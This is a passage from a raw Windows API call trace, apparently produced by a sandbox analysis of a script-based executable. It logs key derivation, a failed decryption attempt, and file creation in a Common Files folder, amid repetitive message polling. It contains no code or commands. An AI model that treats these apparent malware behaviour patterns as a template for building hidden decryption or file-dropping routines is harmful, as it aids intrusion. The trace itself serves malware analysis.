lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.894] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.894] PeekMessageW (in: lpMsg=0xe0d659e3a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e3a0) returned 0 [0046.894] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0046.894] CryptHashData (hHash=0xe0d6916060, pbData=0xe0d6934b50, dwDataLen=0xd, dwFlags=0x1) returned 1 [0046.894] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.894] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.894] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.894] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.894] PeekMessageW (in: lpMsg=0xe0d659e3a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e3a0) returned 0 [0046.894] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0046.894] PeekMessageW (in: lpMsg=0xe0d659e3a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e3a0) returned 0 [0046.894] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0046.894] CryptDeriveKey (in: hProv=0xe0d696d4c0, Algid=0x660e, hBaseData=0xe0d6916060, dwFlags=0x1, phKey=0xe0d659e430 | out: phKey=0xe0d659e430*=0xe0d6915570) returned 1 [0046.895] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.895] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.895] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.895] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.895] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.895] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.895] PeekMessageW (in: lpMsg=0xe0d659e490, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e490) returned 0 [0046.896] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0046.896] CryptDestroyHash (hHash=0xe0d6916060) returned 1 [0046.896] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.896] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.896] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.896] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.896] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.896] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.896] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659ee20, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659ee20*=0) returned 1 [0046.896] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.896] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.896] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.897] GetFileAttributesW (lpFileName="C:\\PROGRA~1\\COMMON~1\\" (normalized: "c:\\progra~1\\common~1")) returned 0x10 [0046.897] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\3123635631" (normalized: "c:\\progra~1\\common~1\\3123635631"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0046.897] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.897] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.897] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.897] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.899] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659eed0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659eed0*=0) returned 1 [0046.899] ReadFile (in: hFile=0x194, lpBuffer=0xe0d6976a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659ef10, lpOverlapped=0x0 | out: lpBuffer=0xe0d6976a00*, lpNumberOfBytesRead=0xe0d659ef10*=0x10, lpOverlapped=0x0) returned 1 [0046.899] ReadFile (in: hFile=0x194, lpBuffer=0xe0d6976a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659ef10, lpOverlapped=0x0 | out: lpBuffer=0xe0d6976a00*, lpNumberOfBytesRead=0xe0d659ef10*=0x0, lpOverlapped=0x0) returned 1 [0046.901] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.901] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.901] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.901] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0046.901] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.901] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.903] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0046.903] PeekMessageW (in: lpMsg=0xe0d659e580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e580) returned 0 [0046.904] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0046.904] PeekMessageW (in: lpMsg=0xe0d659e580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e580) returned 0 [0046.904] PeekMessageW (in: lpMsg=0xe0d659e580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e580) returned 0 [0046.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.904] PeekMessageW (in: lpMsg=0xe0d659dce0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659dce0) returned 0 [0046.905] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0046.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0046.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe0d6935090, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0046.906] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0046.906] CryptGetKeyParam (in: hKey=0xe0d6915570, dwParam=0x7, pbData=0xe0d67fab70, pdwDataLen=0xe0d659dd48, dwFlags=0x0 | out: pbData=0xe0d67fab70*=0x660e, pdwDataLen=0xe0d659dd48*=0x4) returned 1 [0046.907] PeekMessageW (in: lpMsg=0xe0d659e580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e580) returned 0 [0046.907] PeekMessageW (in: lpMsg=0xe0d659e580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e580) returned 0 [0046.907] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.907] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.907] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.907] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.907] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.907] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.907] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0046.907] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.907] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0046.907] PeekMessageW (in: lpMsg=0xe0d659e320, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e320) returned 0 [0046.907] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.907] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.907] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0046.908] PeekMessageW (in: lpMsg=0xe0d659e610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e610) returned 0 [0046.908] PeekMessageW (in: lpMsg=0xe0d659e610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e610) returned 0 [0046.908] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.908] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.908] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.908] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.908] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.908] CharLowerBuffW (in: lpsz="byte[1016]", cchLength=0xa | out: lpsz="byte[1016]") returned 0xa [0046.908] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.908] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.908] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.908] PeekMessageW (in: lpMsg=0xe0d659e3a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e3a0) returned 0 [0046.908] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0046.908] CryptDecrypt (in: hKey=0xe0d6915570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0d69732a0, pdwDataLen=0xe0d659e458 | out: pbData=0xe0d69732a0, pdwDataLen=0xe0d659e458) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.909] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0046.909] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.909] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0046.909] PeekMessageW (in: lpMsg=0xe0d659e610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e610) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659e610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e610) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.909] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0046.909] PeekMessageW (in: lpMsg=0xe0d659e320, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e320) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.909] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.910] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.910] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.910] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.910] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.910] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.910] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.910] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0046.910] PeekMessageW (in: lpMsg=0xe0d659ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ee80) returned 0 [0046.910] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.910] PeekMessageW (in: lpMsg=0xe0d659e5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e5e0) returned 0 [0046.910] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0046.910] CryptDestroyKey (hKey=0xe0d6915570) returned 1 [0046.910] PeekMessageW (in: lpMsg=0xe0d659ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ee80) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ee80) returned 0 [0046.911] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0046.911] PeekMessageW (in: lpMsg=0xe0d659eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659eb60) returned 0 [0046.911] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0046.911] PeekMessageW (in: lpMsg=0xe0d659e840, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e840) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659e840, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e840) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659eb60) returned 0 [0046.911] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0046.911] PeekMessageW (in: lpMsg=0xe0d659e550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e550) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659eb60) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659eb60) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ee80) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ee80) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.911] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0046.911] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.911] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0046.911] PeekMessageW (in: lpMsg=0xe0d659ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ecf0) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ecf0) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.911] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0046.911] PeekMessageW (in: lpMsg=0xe0d659ea00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ea00) returned 0 [0046.911] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.911] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.911] PeekMessageW (in: lpMsg=0xe0d659ea90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ea90) returned 0 [0046.911] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0046.912] PeekMessageW (in: lpMsg=0xe0d659ea90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ea90) returned 0 [0046.912] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0046.912] CryptReleaseContext (hProv=0xe0d696d4c0, dwFlags=0x0) returned 1 [0046.912] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.912] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.912] PeekMessageW (in: lpMsg=0xe0d659ea90, hWnd=0x0, 